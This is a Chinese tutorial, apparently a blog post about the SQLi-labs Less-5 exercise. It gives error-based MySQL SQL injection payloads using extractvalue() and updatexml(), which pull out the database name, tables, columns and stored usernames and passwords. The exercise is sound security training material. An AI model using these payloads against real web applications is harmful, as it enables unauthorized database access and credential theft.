zoukankan      html  css  js  c++  java
  • Less-5-03

    0x01 extractvalue()报错注入

    extractvalue(1,concat(0x7e,(select database()),0x7e))
    爆数据库:

    ?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
    


    爆表名:

    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) --+
    

    爆列名:

    ?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e)) --+
    

    爆字段:

    ?id=-1' and extractvalue(1,concat(0x7e,(select concat_ws('-',username,password)from users limit 2,1),0x7e)) --+
    #使用concat_ws()函数,逐个爆出
    

    0x02 updatexml()报错注入

    updatexml(1,concat(0x7e,(select database()),0x7e),1)
    爆数据库:

    ?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
    


    爆表名:

    ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --+
    

    爆字段名:

    ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
    

    爆数据:

    ?id=-1' and updatexml(1,concat(0x7e,(select concat_ws('-',username,password) from users limit 0,1),0x7e),1) --+
    #使用concat_ws()逐个爆出数据
    

    参考链接:
    《sql注入天书》

  • 相关阅读:
    notepad++的使用
    windows下的ubuntu
    VMware Tools安装
    Terminal命令
    Linux文件操作
    vim学习
    Windows桌面美化
    求解移动字符串问题
    求解回文序列问题
    用Git命令把本地项目,提交到远程仓库
  • 原文地址:https://www.cnblogs.com/observering/p/13694649.html
Copyright © 2011-2022 走看看